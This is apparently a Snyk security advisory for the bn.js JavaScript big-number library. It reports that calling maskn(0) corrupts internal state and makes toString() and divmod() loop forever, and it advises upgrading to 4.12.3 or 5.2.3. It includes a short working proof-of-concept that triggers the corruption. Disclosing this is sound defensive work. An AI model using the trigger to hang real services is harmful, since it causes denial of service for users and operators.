Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade bn.js to version 4.12.3, 5.2.3 or higher.
Affected versions of this package are vulnerable to Infinite loop. Calling maskn(0) on any BN instance corrupts the internal state, causing toString(), divmod(), and other methods to enter an infinite loop, hanging the process indefinitely.
const BN = require('bn.js'); // any version up to 5.2.2
const x = new BN('1', 10).maskn(0);
// Internal state is now corrupted:
console.log('x.words.length =', x.words.length); // 1
console.log('x.length =', x.length); // 0 (INVALID - should be >= 1)
console.log('x.isZero() =', x.isZero()); // false (WRONG - should be true)
// This will hang forever:
// console.log(x.toString());